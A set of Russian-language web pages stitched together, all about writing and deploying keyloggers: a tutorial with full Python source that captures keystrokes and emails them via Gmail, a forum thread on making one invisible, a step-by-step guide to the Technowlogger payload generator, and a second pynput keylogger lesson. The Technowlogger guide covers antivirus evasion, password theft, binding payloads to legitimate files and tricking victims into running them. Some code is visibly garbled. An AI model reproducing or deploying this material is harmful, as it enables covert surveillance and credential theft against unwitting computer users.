Как написать кейлоггер на python
Пишем кейлоггер
Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.
Импорт библиотек
Начнем с импорта необходимых библиотек:
import keyboard import smtplib #для отправки электронной почты по протоколу SMTP (gmail) #Таймер для запуска через заданный «интервал» времени. from threading import Timer from datetime import datetime
Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:
- разрешен доступ для небезопасных приложений ;
- отключена двухэтапная аутентификация.
Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.
Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера»
Инициализируем параметры
SEND_REPORT_EVERY = 60 #время в секундах EMAIL_ADDRESS = "notmygmail@gmail.com" EMAIL_PASSWORD = "notmypassword"
Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.
Создаем класс и методы
Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:
class Keylogger: def __init__(self, interval, report_method="email"): # передаем SEND_REPORT_EVERY в интервал self.interval = interval self.report_method = report_method # это строковая переменная, которая содержит лог self.log = "" #запись начала и окончания даты и времени self.start_dt = datetime.now() self.end_dt = datetime.now()
Мы установили в качестве метода отправки по умолчанию значение email , что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.
Используем функцию клавиатуры on_release() , которая принимает обратный вызов.
def callback(self, event): name = event.name if len(name) > 1: #не символ, специальная клавиша (например, ctrl, alt и т. д.) #верхний регистр if name == "space": #" " вместо пробелов name = " " elif name == "enter": #добавлять новую строку всякий раз, когда нажимается ENTER name = "[ENTER]\n" elif name == "decimal": name = "." else: #замените пробелы символами подчеркивания name = name.replace(" ", "_") name = f"[]" #добавить имя ключа в глобальную переменную self.log += name
Пишем метод для записи в локальный файл
def update_filename(self): #создать имя файла, которое будет идентифицировано по дате начала и окончания записи start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") self.filename = f"keylog-_" def report_to_file(self): # создать файл with open(f".txt", "w") as f: # записать лог print(self.log, file=f) print(f"[+] Saved .txt")
Отправка на email
def sendmail(self, email, password, message): # управляет подключением к SMTP-серверу server = smtplib.SMTP(host="smtp.gmail.com", port=587) # подключиться к SMTP-серверу в режиме TLS server.starttls() # логин server.login(email, password) # отправить сообщение server.sendmail(email, email, message) # завершает сеанс server.quit()
Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: ‘ascii’ codec can’t encode character , откройте библиотеку smtplib.py по адресу C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\ , найдите строку msg = _fix_eols(msg).encode(‘ascii’) и замените ее на msg = _fix_eols(msg).encode(‘utf8’) . Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.
Сообщаем лог через заданные промежутки времени
def report(self): if self.log: self.end_dt = datetime.now() # обновить `self.filename` self.update_filename() if self.report_method == "email": self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) elif self.report_method == "file": self.report_to_file() self.start_dt = datetime.now() self.log = "" timer = Timer(interval=self.interval, function=self.report) timer.daemon = True # старт timer.start()
Давайте определим метод on_release() :
def start(self): #записать дату и время начала self.start_dt = datetime.now() #запустить кейлогер keyboard.on_release(callback=self.callback) self.report() keyboard.wait()
Мы закончили с классом Keylogger , теперь нужно создать экземпляр этого класса:
if __name__ == "__main__": # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file" # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") # для записи в локальный файл оставляем как есть keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") keylogger.start()
Использование
Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller . Для этого ставим саму библиотеку:
pip3 install pyinstaller
И собираем все в файл:
pyinstaller --onefile -w 'keylogger.py'
На выходе получаем файл с расширением .exe , который можно использовать на любом компьютере под управлением Windows.
Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО.
Материалы по теме
- Как взломать Wi-Fi с помощью Kali Linux 2020.4 и Ubuntu 20.04
- ⛑️ Этичный взлом: учимся белому хакингу
- Bug Bounty: как заработать на взломе
Python-сообщество
![]()
- Начало
- » Python для экспертов
- » key logger
#1 Апрель 7, 2008 18:58:59
hellslade От: Зарегистрирован: 2008-01-28 Сообщения: 240 Репутация: 0 Профиль Отправить e-mail
key logger
привет всем. возник вопрос, как можно перехватить нажатие клавиш в винде… вообщем хочу написать кейлоггер, чтобы он висел ваще незаметно и перехватывал все нажатия клавиш в браузерах?и как можно определить что открыт браузер? у меня только один вариант: использоватиь autoIt в python…помогите советами…может кто писал что то подобное или может были идеи
#2 Апрель 7, 2008 19:04:10
Ferroman От: Зарегистрирован: 2006-11-16 Сообщения: 2759 Репутация: 1 Профиль Отправить e-mail
key logger
Такие вещи на питоне писать — не очень удачная идея, ИМХО.
К тому же есть много cишных реализаций такой задачи, можно использовать их, как расширение к питон-программе.
Я то давным-давно на паскале писал подобное, это довольно просто.
#3 Апрель 7, 2008 20:38:35
hellslade От: Зарегистрирован: 2008-01-28 Сообщения: 240 Репутация: 0 Профиль Отправить e-mail
key logger
Ferroman
может на паскаль это и пишется легко, я не проверял)) хочу именно на питоне такое попробовать…питон изучаю около 5 месяцев, очень нравится…хотелось бы побольше изучить именно в этом направлении…а если на си есть реализации, подскажи какие и где их взять?)
#4 Апрель 8, 2008 00:49:01
Андрей Светлов От: Зарегистрирован: 2007-05-15 Сообщения: 3137 Репутация: 14 Профиль Адрес электронной почты
key logger
Хороший keylogger для Винды можно писать на ASM, С, С++, Паскале, Delphi, C#, Java, Visual Basic, PERL… (Дополните меня прочей экзотикой).
Быть может, даже на PHP.
На Питоне, конечно, тоже можно.
Остается ключевой вопрос: пишущий должен знать довольно глубоко нутря Windows.
После этого вопрос языка программирования исчезает.
#5 Апрель 8, 2008 01:27:46
Ferroman От: Зарегистрирован: 2006-11-16 Сообщения: 2759 Репутация: 1 Профиль Отправить e-mail
key logger
Я говорю что не удачная идея, потому что будет запускаться интерпритатор питона — а его трудно не заметить. + программы на питоне порядочно занимают памяти.
Конечно же можно написать, но все-таки стоит использовать подходящие инструменты — а то получается, что человек с молотком все воспринимает за гвозди 🙂
Для данной задачи наверное компилированные языки подойдут больше чем питон. С другой стороны если задача чисто учебная — то это, конечно, совсем другое дело.
Тогда стоит посмотреть WinApi (модуль pywin32).
PS. а вообще то 4-ая ссылка гугла — First Python — Key recorder. подозреваю что то что нужно, но не проверял.
#6 Апрель 8, 2008 02:54:28
shiza От: Зарегистрирован: 2007-07-03 Сообщения: 1073 Репутация: 0 Профиль Отправить e-mail
key logger
Запаковал все в py2exe — и оппа — никакого интерпретатора. Можно и как сервис запустить.
Не очень кошерно конечно, как на С, но работать будет нормально. =)
Отредактировано (Апрель 8, 2008 02:57:01)
#7 Апрель 8, 2008 10:18:28
setoy От: Зарегистрирован: 2006-07-20 Сообщения: 34 Репутация: 0 Профиль Отправить e-mail
key logger
Куда-то в нете было питонский кей-логер….
#8 Апрель 8, 2008 10:31:29
hellslade От: Зарегистрирован: 2008-01-28 Сообщения: 240 Репутация: 0 Профиль Отправить e-mail
key logger
Ferroman
PS. а вообще то 4-ая ссылка гугла — First Python — Key recorder. подозреваю что то что нужно, но не проверял.
примерно то что нужно)вот только буквы в любой раскладке пишутся английские(
#9 Апрель 8, 2008 12:14:31
Ferroman От: Зарегистрирован: 2006-11-16 Сообщения: 2759 Репутация: 1 Профиль Отправить e-mail
key logger
To shiza
Действительно не запускает интерпритатор. Я почему-то думал что py2exe все-таки его запускает :/
To hellslade
Ну вот тебе и простор для творчества 🙂
️♂️ Как создать необнаруживаемый пейлоад для windows – technowlogger

Мануал
Автор cryptoparty На чтение 5 мин Опубликовано 26.04.2022
Обзор кейлоггера и Technowlogger
Кейлоггер – это инструмент, который в основном используется хакерами для сбора данных, вводимых пользователем на устройстве. Примером кейлоггера является техновлоггер.
С годами хакеры продвинулись в своем искусстве взлома, создав кейлоггеры, которые трудно обнаружить антивирусными программами и легко обмануть пользователей, установив их.
Хакеры используют методы социальной инженерии, о которых говорилось в предыдущих руководствах, чтобы доставить и установить вредоносные кейлоггеры на свою жертву.
Technowlogger является примером инструментов, используемых хакерами.
Он был создан для образовательных целей и размещен на официальном репозитории GitHub.
Technowlogger обладает функциями вредоносных программ кейлоггеров, используемых хакерами в своей вредоносной деятельности.
Некоторые из его функций включают:
- Работает как на операционных системах Windows, так и Linux.
- Technowlogger обфусцирует полезную нагрузку перед ее генерацией, поэтому обходит еще несколько антивирусов.
- Уведомление о новой жертве по электронной почте.
- Отправляет скриншот экрана компьютера жертвы по электронной почте.
- Злоумышленник может создать исполняемый файл для ОС Windows и Linux, используя Linux System, но может создать только исполняемый файл для Windows, используя Windows Machine.
- Technowlogger может извлекать сохраненные пароли из системы жертвы и отправлять их злоумышленнику.
- Technowlogger не обнаруживается антивирусными программами.
- Кейлоггер устойчив.
- Создает исполняемый двоичный файл с нулевыми зависимостями.
- Technowlgger может различать данные журнала на основе имени активного окна.
- Вы можете добавить пользовательский Icon в злой файл.
- Создаваемая полезная нагрузка имеет размер около 5мб и обладает расширенной функциональностью.
- Создаваемая полезная нагрузка кодируется с помощью base64, поэтому ее крайне сложно перекодировать.
- Удивительный и красочный интерфейс для генерации полезной нагрузки на technowlogger.
- Со стороны злоумышленника: При создании полезной нагрузки скрипт technowlogger автоматически обнаружит недостающие зависимости и установит их.
- Встроенная связка, которая привязывает кейлоггер к любому файлу [.pdf, .txt, .exe и т.д.].
- Проверяет наличие уже запущенного экземпляра в системе, если экземпляр найден, то выполняется только легитимный файл [Множественные экземпляры запрещены во избежание отправки нескольких логов по электронной почте].
В этом руководстве мы будем устанавливать и использовать инструмент technowlogger для создания полезной нагрузки в операционной системе windows.
Предварительные условия
- Иметь компьютер с операционной системой windows.
- Установлен python.
- Уметь пользоваться CMD.
Шаг 1: Скачать technowlogger с GitHub
Чтобы установить инструмент на нашу операционную систему Linux, мы клонируем его репозиторий GitHub с помощью следующей команды.
Вы также можете загрузить его в виде zip-файла.
git clone https://github.com/PushpenderIndia/technowlogger.git
Шаг 2: Настройка technowlogger и установка зависимостей
После загрузки инструмента technowlogger мы переходим в его каталог с помощью следующей команды, чтобы установить другие необходимые зависимости.
Вы должны установить python и добавить путь к окружению перед запуском команды для установки зависимостей инструмента technowlogger.
Перейдем в каталог
cd technowlogger
Команда для установки зависимостей.
python -m pip install -r requirements.txt
Шаг 3: Генерация кейлоггера
Technowlogger имеет множество обязательных и необязательных аргументов для использования при генерации полезной нагрузки.
Некоторые из них включают в себя следующие опции: привязка полезной нагрузки к легитимному файлу, указание электронной почты и пароля для отправки журналов, а также возможность указать пользовательский значок для вашего файла.
Для генерации полезной нагрузки в этом руководстве мы будем использовать команду, как показано ниже.
python technowgen.py -e youremail@gmail.com -p yourpassword -w -o book --icon icon/chrome.ico
В приведенной выше команде мы используем technowgen.py для генерации полезной нагрузки technowlogger.
Мы также указываем email (-e youremail@gmail.com) пароль (-p yourpassword), платформу, для которой мы создаем кейлоггер, в нашем случае это windows (-w), имя для нашей полезной нагрузки (book) и иконку, которая будет использоваться в нашей полезной нагрузке (–icon icon/chrome.ico).
На этом шаге вам также придется использовать некоторые навыки социальной инженерии, чтобы заманить жертву нажать на полезную нагрузку.
Теперь мы можем найти нашу уже созданную полезную нагрузку в папке dist в папке инструмента technowlogger.
Шаг 4: Установка на целевую систему и получение логов
Чтобы установить созданный нами кейлоггер на целевую машину, нам нужно просто отправить его нашей жертве и убедиться, что она нажмет на него для выполнения.
После запуска кейлоггер сначала проверит, не запущен ли еще один экземпляр кейлоггера technowlogger.
Если запущенный экземпляр найден, выполняется только легитимная часть файла, чтобы избежать установки кейлоггера дважды и получения одних и тех же журналов два раза.
Полезную нагрузку, сгенерированную нами с помощью инструмента technowlogger, трудно определить как вредоносную, поскольку она обходит антивирусную защиту, а также имеет характеристики легитимно выглядящего файла.
После загрузки полезной нагрузки жертва будет обманом вынуждена нажать на нее и выполнить.
Шаг 5: Получение логов
Мы сможем получить операционную систему и версию, а также ключи, введенные нашей жертвой.
Эти логи теперь регулярно обновляются в зависимости от интервалов, которые вы установили для их получения при генерации полезной нагрузки на инструмент technowlogger.
Заключение
Кейлоггеры – одни из самых распространенных вредоносных программ, поражающих людей по всему миру.
Они используются как для целенаправленных атак, так и для массовых атак на людей.
Инструмент technowlogger упрощает создание кейлоггера, предоставляя основные компоненты, используемые для создания кейлоггера, в рамках одного инструмента.
Technowlogger обфусцирует генерируемую полезную нагрузку для предотвращения обратной разработки, а также для обхода антивирусных программ.
Как бы ни старались антивирусные компании обнаружить как можно больше вариантов вредоносных программ, есть и такие, которые остаются незамеченными на компьютере жертвы.
Technowlgger – пример инструмента, который может быть использован для создания таких вредоносных программ.
¯\_(ツ)_/¯ Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
- Как проверить компьютер на наличие кейлоггеров и удалить их
- Ghostpress – бесплатный анти-кейлоггер
- PyLoggy – Простой и сильный кейлоггер на Python
Пожалуйста, не спамьте и никого не оскорбляйте. Это поле для комментариев, а не спамбокс. Рекламные ссылки не индексируются!
Добавить комментарий Отменить ответ

Поддержать нас
- Аудит ИБ (49)
- Вакансии (12)
- Закрытие уязвимостей (110)
- Книги (27)
- Мануал (2 365)
- Медиа (66)
- Мероприятия (39)
- Мошенники (23)
- Обзоры (833)
- Обход запретов (34)
- Опросы (3)
- Скрипты (116)
- Статьи (361)
- Философия (127)
- Юмор (18)
Наш Telegram

Социальные сети
Поделиться
Anything in here will be replaced on browsers that support the canvas element
- ✈️ Понимание chmod: Разница между u+x и +x 17.11.2023
Команда chmod используется для назначения прав на файлы и каталоги в системе Linux. Chmod может принимать различные синтаксисы, такие как символьный режим и абсолютный режим, поэтому при изучении различных способов использования chmod может возникнуть некоторое замешательство. Когда речь идет о предоставлении пользователю прав на выполнение, часто используются опции u+x и +x из-за их простого и […]
В области управления базами данных привилегии пользователей являются основой безопасности и контроля доступа. MySQL, как одна из наиболее популярных реляционных систем управления базами данных, предлагает полный набор команд для управления правами пользователей, предназначенных для обеспечения целостности и конфиденциальности данных. Одним из важнейших аспектов этой системы является возможность предоставления пользователям определенных прав, включая мощную привилегию ‘GRANT […]
Переход бизнеса в Интернет открывает новые возможности для развития. Вы можете обслуживать несколько точек и работать с большой аудиторией. Однако, став известным брендом в Интернете, вы также становитесь уязвимы для многих киберпреступлений, которые совершаются угрожающими субъектами с целью получения прибыли, используя репутацию вашего бренда. Одним из таких преступлений является киберсквоттинг. Оно может привести к потере […]
В наши дни мобильные гаджеты стали неотъемлемой частью нашей жизни. Они не только предоставляют средство связи через традиционные звонки, но также открывают доступ к мессенджерам и специальным программам. Таким образом, современный человек взаимодействует с окружающим миром как через сим-карту, так и через разнообразные коммуникационные платформы. Проблемы с рекламой в социальных сетях Социальные сети стремятся ужесточить правила […]
Web Path Finder – это программа на языке Python, предоставляющая информацию о сайте. Она позволяет получить такие сведения, как заголовок страницы, дата последнего обновления, информация о DNS, поддоменах, именах брандмауэров, используемых технологиях, информация о сертификатах и многое другое. Особенности и преимущества Получение важной информации о сайте Получение информации о технологиях, используемых на сайте Определение поддоменов […]
Свой мини кейлоггер на python. Часть 3
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нем неправильно.
Необходимо обновить браузер или попробовать использовать другой.
Anorali
Original poster
Pro Member
Сообщения 107 Реакции 156 Посетить сайт
Всем привет! Продолжение написания кейлоггера, погнали!
Сейчас у нас на руках рабочий кейлоггер, результат которого легко и понятно читать, но кое-чего не хватает! Сейчас я хочу сделать функцию отправки результата на почту. Функцию отправки логов на почту мы с вами уже реализовали в моей статье о написании
Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.
, поэтому сейчас нас интересует другая проблема — даже если внимательно присмотреться в код, мы не обнаружим такого места, где можно было бы написать эту функцию.
import pynput.keyboard log = "" def process_key_press(key): global log try: log = log + str(key.char) except: if key == key.space: log = log + ' ' else: log = log + " " + str(key) + " " print(log) keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press) with keyboard_listener: keyboard_listener.join()
И для решения этой проблемы мы воспользуемся многопоточностью или библиотекой threading. Другими словами мы будем просто разделять ход нашей программы на несколько потоков — основная программа и таймер, по истечению которого будет срабатывать функция sendmail.
Для начала импортируем нашу библиотеку в код:
import threading
Далее создаём функцию report:
def report(): global log #объявляем глобальную переменную log print(log) #выводим содержимое log = ' ' #очищаем переменную timer = threading.Timer(5, report) #создаём таймер с интервалом в 5 секунд, а затем, по истечению времени он вызовит функцию которую мы укажем(report) timer.start() #запускаем наш таймер
И запускаем нашу функцию report:
with keyboard_listener: report() keyboard_listener.join()
Наша рекурсивная функция почти готова, доработаем её в следующих уроках, а сейчас тесты:
P.S. Не забудьте удалить принт с функции process_key_press
Теперь каждый раз наша переменная log очищается и записывается по новому. Далее мы сделаем отправку лога на почту уже в таком виде и добавим немного ООП магии в наш код, всем удачи!
import pynput.keyboard import threading log = "" def process_key_press(key): global log try: log = log + str(key.char) except: if key == key.space: log = log + ' ' else: log = log + " " + str(key) + " " def report(): global log print(log) log = ' ' timer = threading.Timer(5, report) timer.start() keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press) with keyboard_listener: report() keyboard_listener.join()
